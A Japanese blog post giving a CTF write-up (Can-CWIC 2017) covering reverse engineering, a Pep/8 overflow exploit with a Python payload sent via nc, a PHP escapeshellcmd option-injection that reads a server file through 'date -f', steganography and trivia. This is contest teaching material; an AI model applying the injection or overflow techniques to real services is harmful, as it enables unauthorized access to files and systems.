st98 の日記帳


[ctf] Can-CWIC CTF 2017 の write-up

チーム Harekaze で Can-CWIC CTF 2017 に参加しました。最終的にチームで 2127 点を獲得し、順位は得点 135 チーム中 4 位でした。うち、私は 23 問を解いて 1717 点を入れました。

以下、解いた問題の write-up です。

[Reverse 80] PopVM 1

chkpass_pop というファイルが与えられました。file に投げてみましょう。

$ file chkpass_pop
chkpass_pop: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a7dc92efcf3967e6c8d67a7f53d030c9dc63c5b4, not stripped

x86_64 の ELF のようです。実行してみると、以下のようにパスワードの入力を求められました。

$ ./chkpass_pop
ROBOT NEEDS PASSWORD!
hoge
WRONG PASSWORD

どんな関数があるか調べてみましょう。

gdb-peda$ info functions
All defined functions:

Non-debugging symbols:
0x00000000000007b8  _init
0x00000000000007e0  putchar@plt
0x00000000000007f0  __errno_location@plt
0x0000000000000800  fread@plt
0x0000000000000810  printf@plt
0x0000000000000820  fputs@plt
0x0000000000000830  calloc@plt
0x0000000000000840  fprintf@plt
0x0000000000000850  exit@plt
0x0000000000000860  fwrite@plt
0x0000000000000880  main
...
0x0000000000001130  decode
0x0000000000001190  debug
0x00000000000011d0  run
0x0000000000001940  __libc_csu_init
0x00000000000019b0  __libc_csu_fini
0x00000000000019b4  _fini

decode という関数が見つかりました。逆アセンブルしてみましょう。

gdb-peda$ pdisas decode
Dump of assembler code for function decode:
   0x0000000000001130 <+0>:     push   r12
   0x0000000000001132 <+2>:     mov    r12,rdi
   0x0000000000001135 <+5>:     movzx  edi,BYTE PTR [rip+0x201f44]        # 0x203080 <masked_flag>
   0x000000000000113c <+12>:    push   rbp
   0x000000000000113d <+13>:    lea    rbp,[rip+0x201f3c]        # 0x203080 <masked_flag>
   0x0000000000001144 <+20>:    push   rbx
   0x0000000000001145 <+21>:    lea    rbx,[rip+0x201f74]        # 0x2030c0 <mask>
   0x000000000000114c <+28>:    test   dil,dil
   0x000000000000114f <+31>:    je     0x1175 <decode+69>
   0x0000000000001151 <+33>:    nop    DWORD PTR [rax+0x0]
   0x0000000000001158 <+40>:    xor    dil,BYTE PTR [rbx]
   0x000000000000115b <+43>:    add    rbp,0x1
   0x000000000000115f <+47>:    add    rbx,0x1
   0x0000000000001163 <+51>:    movsx  edi,dil
   0x0000000000001167 <+55>:    call   0x7e0 <putchar@plt>
   0x000000000000116c <+60>:    movzx  edi,BYTE PTR [rbp+0x0]
   0x0000000000001170 <+64>:    test   dil,dil
   0x0000000000001173 <+67>:    jne    0x1158 <decode+40>
   0x0000000000001175 <+69>:    mov    edi,0xa
   0x000000000000117a <+74>:    call   0x7e0 <putchar@plt>
   0x000000000000117f <+79>:    pop    rbx
   0x0000000000001180 <+80>:    add    WORD PTR [r12+0x8],0x1
   0x0000000000001187 <+87>:    pop    rbp
   0x0000000000001188 <+88>:    pop    r12
   0x000000000000118a <+90>:    ret    
End of assembler dump.

masked_flagmask を xor して putchar で出力しています。decode を呼んでみましょう。

gdb-peda$ b main
Breakpoint 1 at 0x880
gdb-peda$ r
gdb-peda$ jump *decode
Continuing at 0x555555555130.
FLAG{GRATZ_YOU_CAN_READ_ASSEMBLY!}

フラグが得られました。

FLAG{GRATZ_YOU_CAN_READ_ASSEMBLY!}

[Reverse 160] Redefine Fun

redef_fun というファイルが与えられました。file に投げてみましょう。

$ file redef_fun
redef_fun: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=eb1758b1b65f9c239ea70d4e804a759f26440c61, not stripped

x86_64 の ELF のようです。実行してみると、以下のように文字列が出力されるだけでした。

$ ./redef_fun 
Class refinement is awesome. Reversing it isn't so much.

どんな関数があるか調べてみましょう。

gdb-peda$ info functions
All defined functions:

File /data/workspace/nit/lib/core/environ.nit:
void core__environ___CString_setenv___impl(char *, char *);

File /data/workspace/nit/lib/core/file.nit:
int core__file___CString_file_chdir___impl(char *);
int core__file___CString_file_delete___impl(char *);
int core__file___CString_file_exists___impl(char *);
struct stat *core__file___CString_file_lstat___impl(char *);
int core__file___CString_file_mkdir___impl(char *, long);
...
File redef_fun.main.1.c:
void fatal_exit(int);
void gc_finalize(void *, void *);
void initialize_nitni_global_refs();
int main(int, char **);
void nitni_global_ref_add(struct nitni_ref *);
void nitni_global_ref_decr(struct nitni_ref *);
void nitni_global_ref_incr(struct nitni_ref *);
void nitni_global_ref_remove(struct nitni_ref *);
void sig_handler(int);
static void show_backtrace(void);

File redef_fun.sep.1.c:
void redef_fun___core__Sys___main(val *);
void redef_fun___crypto__RepeatingKeyXorCipher___crypto__xor_ciphers__Cipher__decrypt(val *);
short redef_fun___crypto__RepeatingKeyXorCipher___do_legacy(val *);
void redef_fun___crypto__RepeatingKeyXorCipher___do_legacy_61d(val *, short);

redef_fun___crypto__RepeatingKeyXorCipher___crypto__xor_ciphers__Cipher__decrypt という怪しげな関数があります。

ltrace で実行してみましょう。

$ ltrace ./redef_fun 2>&1 | grep -v GC_malloc
signal(SIGABRT, 0x7fd9107732e0)                  = 0
signal(SIGFPE, 0x7fd9107732e0)                   = 0
signal(SIGILL, 0x7fd9107732e0)                   = 0
signal(SIGINT, 0x7fd9107732e0)                   = 0
signal(SIGTERM, 0x7fd9107732e0)                  = 0
signal(SIGSEGV, 0x7fd9107732e0)                  = 0
signal(SIGPIPE, 0x1)                             = 0
getenv("NIT_GC_OPTION")                          = nil
GC_init(0x7fd91080d677, 0x7ffec5880ea0, 8192, 1655) = 0
time(0)                                          = 1507807824
srand(0x59df5250, 0x7ffec58808f0, 0, 3)          = 0
memmove(0x7fd911254ff0, "NIT_SRAND", 9)          = 0x7fd911254ff0
getenv("NIT_SRAND")                              = nil
memmove(0x7fd911254fe0, "", 0)                   = 0x7fd911254fe0
getenv("")                                       = nil
memmove(0x7fd911254fa0, "p87s", 4)               = 0x7fd911254fa0
memmove(0x7fd911254f90, "foa7sdo9f879n", 13)     = 0x7fd911254f90
memmove(0x7fd911259d00, "p87s", 4)               = 0x7fd911259d00
memmove(0x7fd911259d04, "foa7sdo9f879n", 13)     = 0x7fd911259d04
memmove(0x7fd911259d11, "q", 1)                  = 0x7fd911259d11
setvbuf(0x7fd90fd952a0, 0, 2, 256)               = 0
fwrite("Class refinement is awesome. Rev"..., 1, 56, 0x7fd90fd952a0Class refinement is awesome. Reversing it isn't so much.) = 56
fwrite("\n", 1, 1, 0x7fd90fd952a0
)               = 1
fwrite("", 1, 0, 0x7fd90fd952a0)                 = 0
fwrite("\n", 1, 1, 0x7fd90fd952a0
)               = 1
+++ exited (status 0) +++

怪しげな文字列が memmove で作られています。stringsfoa7sdo9f879n の周りにある文字列を探してみましょう。

$ strings -a ./redef_fun | grep -2 foa7sdo9f879n
367476341D262758060A0B6A1348524B4F5133545600154F1352150D015C0B5D594D4E1803184116141641541F010E57481879501A51194B1705031D181710080A58081617704E1D1F4E5253280615160E
p87s
foa7sdo9f879n
FATAL: Dead method executed.
 (%s:%d)

怪しげな hex エンコードされた文字列が見つかりました。デコードして memmove で作られていた文字列と xor してみましょう。

def xor(a, b):
  res = ''
  if len(a) < len(b):
    a, b = b, a
  for k, c in enumerate(a):
    res += chr(ord(c) ^ ord(b[k % len(b)]))
  return res

s = '367476341D262758060A0B6A1348524B4F5133545600154F1352150D015C0B5D594D4E1803184116141641541F010E57481879501A51194B1705031D181710080A58081617704E1D1F4E5253280615160E'.decode('hex')
t = 'p87sfoa7sdo9f879nq'
print xor(s, t)
$ python2 solve.py
FLAG{IFoundSuper! Class refinement is very clean. Nit is very clean. I love Nit!}

フラグが得られました。

FLAG{IFoundSuper! Class refinement is very clean. Nit is very clean. I love Nit!}

[Pwn 200] A lot of Style

以下のようなテキストファイルが与えられました。

main:    STRO    msg,d       
mainL:   CALL    read        
         CPX     0,i         
         BREQ    mainF       
         CALL    sum         
         BR      mainL       
mainF:   STOP                
;
msg:     .ASCII  "*********************************\n"
         .ASCII  "* Please enter lists of numbers.*\n"
         .ASCII  "* Each list is terminated by 0. *\n"
         .ASCII  "* The program ends when a list  *\n"
         .ASCII  "* is empty (only has a 0).      *\n"
         .ASCII  "* Example: 1 2 3 0 4 5 0 0.     *\n"
         .ASCII  "********************************\n"
         .ASCII  "\x00"      
tab:     .BLOCK  200         
tabsize: .EQUATE 200         
;
; IN:  nothing
; OUT: X=size of elements writen in tab
;      A=value of the last element
read:    LDX     0,i         
readL:   CPX     tabsize,i   
         BRGT    readE       
         DECI    tab,x       
         LDA     tab,x       
         BREQ    readE       
         ADDX    2,i         
         BR      readL       
readE:   NOP0                
         RET0                
;
; IN:  X=size of elements of tab
sum:     LDA     0,i         
sumL:    CPX     0,i         
         BRLE    sumF        
         SUBX    2,i         
         ADDA    tab,x       
         BR      sumL        
sumF:    STA     tab,d       
         DECO    tab,d       
         CHARO   '\n',i      
         RET0                
;
         .ASCII  "Don't look here, this is a secret place\x00"
flag:    .ASCII  "FLAG{REDACTED}\n\x00"
         .END                  

何らかのアセンブリのようです。数値の入力を 101 回か 0 が入力されるまで行ってから、その合計値を出力するというような処理をしているようです。

CHARODECOSTRO のような特徴的な命令でググってみると、これは Pep/8 のアセンブリであると分かりました。

Pep-8 Reference というチートシートを参考に調べていきましょう。

このアセンブリには数値の入力部分に脆弱性があり、100 回で止めるべきところを 101 回まで行えるようになっているため、tab の直後にある 2 バイト (read: LDX 0,i の部分) を書き換えることができてしまいます。

(100 個の適当な数値) 51455 0 を入力することで LDX 0,i の先頭 2 バイトを C8 FF にでき、この命令を LDX 0xff00,i にしてしまうことができます。これによって DECI tab,x (x は オペランド + i レジスタを意味する) が tab - 256、つまりメモリの 1 以降に書き込まれるようになるため、より多くの命令を実行させることができそうです。

あとは flagSTRO で出力させる入力を作ってみましょう。

payload = []
payload.extend([0x1234] * (100 - len(payload)))
payload.append(0xC8ff) # LDX 0xff00, i
print ' '.join(str(x) for x in payload) + ' 0'

shellcode = 'ffffffffff410227' # ...; STRO 0x227, d
payload = []
for i in range(0, len(shellcode), 4):
  payload.append(int(shellcode[i:i+4], 16))
print ' '.join(str(x) for x in payload) + ' 0'
$ python2 solve.py | nc 159.203.38.169 5684
*********************************
* Please enter lists of numbers.*
* Each list is terminated by 0. *
* The program ends when a list  *
* is empty (only has a 0).      *
* Example: 1 2 3 0 4 5 0 0.     *
********************************
-6833
0
FLAG{I_D0nt_Th1k_S0m30n_PwN3d_Pep8_B3f0r}

フラグが得られました。

FLAG{I_D0nt_Th1k_S0m30n_PwN3d_Pep8_B3f0r}

[Web 100] Date 1

与えられた URL にアクセスすると、入力したフォーマットで日時を出力してくれるサービスが表示されました。

ページの下部に Proudly coded with Vim the editor とあったため、Vim のスワップファイルが生成されているのではと考えて /.index.php.swp にアクセスするとファイルがダウンロードできました。

これを復元すると以下のようなコードが得られました。

...
<h1>
<?php
$cmd = 'date';
$fmt = isset($_GET['fmt'])?$_GET['fmt']:"";
if (isset($_GET['rfc'])) {
	$cmd = $cmd . ' -R';
	$rfcx = ' checked';
}
if ($fmt != "") {
	$cmd = $cmd . ' +' . $fmt;
	$fmtx = ' value="' . $fmt . '"';

}
$cmd = escapeshellcmd($cmd);
$res = system($cmd . " 2>&1");

include 'varflag.php';
if ($res === $date && strpos($fmt, 'easter') != false) {
	echo "<b style='color:red'>$flag</b>";
}
?>
</h1>
...

入力したフォーマットは escapeshellarg ではなく escapeshellcmd を使ってエスケープされています。そのため、 -a hoge のような入力をすることで好きなオプションを追加できます。

man date を見ていると以下のようなオプションを見つけました。

       -f, --file=DATEFILE
              like --date once for each line of DATEFILE

これでファイルの読み込みができそうです。 -f varflag.php を入力するとフラグが得られました。

date: invalid date '<?php'
date: invalid date '$date = "Sunday April 1st 2018. 2018-04-01";'
date: invalid date '$easy_flag = "FLAG{Want Love? Don\'t Date!}";'

date: invalid date '?>'
FLAG{Want Love? Don\'t Date!}

[Steg 25] sudo

sudo.tgz というファイルが与えられました。展開すると sudo.png にフラグが書き込まれていました。

FLAG{archives_are_waaaaayyy_easier_than_sudokus}

[Steg 25] Beautiful Blue

暗めの青ばかりの画像が与えられました。以下のコードを実行するとフラグが得られました。

from PIL import Image
im = Image.open('beautiful_blue.png')
_, h = im.size
res = ''
for y in range(0, h, 10):
  res += chr(im.getpixel((0, y))[2])
print res
FLAG{Such_a_beautiful_color}

[Steg 50] Not WYSIWYG, but standard

以下のような内容のテキストファイルが与えられました。

a
- __- -    /_\ / __- / / __-   \ -_ _/ __-_   _- -- - __-_   _- _ \ - - - __- - _ \/_\_   _- -- -_   _/ _ \ - \- -_ _- _ \ \_/ /_\ - \- - /_\\ \
.
i
 ___ _      _   ___   _____ ___   ___ ___ _____ _  _ ___ _____ ___ _   _ ___   ___  _ _____ _  _ _____ ___   _  _ ___ _____   ___   _  _   _ __
.
+1a
| _|| |__ / _ \ (_ || || _|| |) \\\__ \ \\ __ | _|  \\   / |_
| _|| |__ / _ \ (_ || || _|/ _` |_  | '  \/ _` | ' \|_| |_| '  \/ _` | ' \  / -_) _` || |_|| _|/ _` |_  | '  \/ _` | ' \|_| |_| '  \/ _` | ' \  /
| | _|  |  _/ _ \| | | __ | | || (_) || .` || ||   /\   / _ \| .` |/ _ \| |
                     \_\      .___.     .___.          .___.               .___.               .___.     .___.                               /_/
.
# |_| |____/_/ \_\___|| ||___\__,_( ) |_|_|_\__,_|_||_(_) (_)_|_|_\__,_|_||_| \___\__,_|| |  |_| |____/_/ \_\___|| ||___\__,_( ) |_|_|_\__,_|_||
/| __ |/a
._. .____/_/ \_\___.. ..___.___/_.___.___/_._. ._.._.___._._. ._._\\___/.___._._./_/ \_\_. ._.._._._. \___/_._.\_.___._._\ \_/_/ \_\_.\_/_/ \_\ .
.
4d
3,4j
2s/-/|/g
+2,$s/\./|/g
g/| _|/s/\\\\/| | |/g
Q

ed のコマンドです。最後の Q,p に入れ替えて入力してみましょう。

$ ed
a
...
,p
 ___ _      _   ___   _____ ___   ___ ___ _____ _  _ ___ _____ ___ _   _ ___   ___  _ _____ _  _ _____ ___   _  _ ___ _____   ___   _  _   _ __
| __| |    /_\ / __| / / __|   \ |_ _/ __|_   _| || | __|_   _| _ \ | | | __| | _ \/_\_   _| || |_   _/ _ \ | \| |_ _| _ \ \_/ /_\ | \| | /_\\ \
| _|| |__ / _ \ (_ || || _|| |) | | |\__ \ | | | __ | _|  | | |   / |_| | _|  |  _/ _ \| | | __ | | || (_) || .` || ||   /\   / _ \| .` |/ _ \| |
|_| |____/_/ \_\___|| ||___|___/_|___|___/_|_| |_||_|___|_|_| |_|_\\___/|___|_|_|/_/ \_\_| |_||_|_|_| \___/_|_|\_|___|_|_\ \_/_/ \_\_|\_/_/ \_\ |
                     \_\      |___|     |___|          |___|               |___|               |___|     |___|                               /_/

フラグが得られました。

FLAG{ED_IS_THE_TRUE_PATH_TO_NIRVANA}

[Trivia WCS 10] To the moon

なにか紙が積み上げられている様子の、白黒の写真の一部が与えられました。ファイル:Margaret Hamilton - restoration.jpg - Wikipedia の写真です。

FLAG{Margaret_Hamilton}

[Trivia WCS 10] Corn Cob

PROCEDURE DIVISION.
DISPLAY ‘Hello world!’.

COBOL です。

FLAG{Grace_Hopper}

[Trivia WCS 10] This ain’t Ruby

with Text_To; use Text_To
procedure hello is
begin
put(“Hello World”);
end hello

Ada です。

FLAG{Ada_Lovelace}

[Trivia WCS 10] Another Hello World

‘Hello World!’ printNl !

Smalltalk です。

FLAG{Adele_Goldberg}

[Trivia WCS 10] 8088-88

She started on a 8088 machine in 1988.

8088 machine in 1988 でググると Hackers: Under the hood | ZDNet という記事が見つかりました。

FLAG{Raven_Alder}

[Trivia WCS 10] Search engines

Yahoo と Google のロゴを合成した画像が与えられました。

Google - WikipediaYahoo で検索すると

In July 2012, Google’s first female engineer, Marissa Mayer, left Google to become Yahoo!’s CEO.

という一文が見つかりました。

FLAG{Marissa_Mayer}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳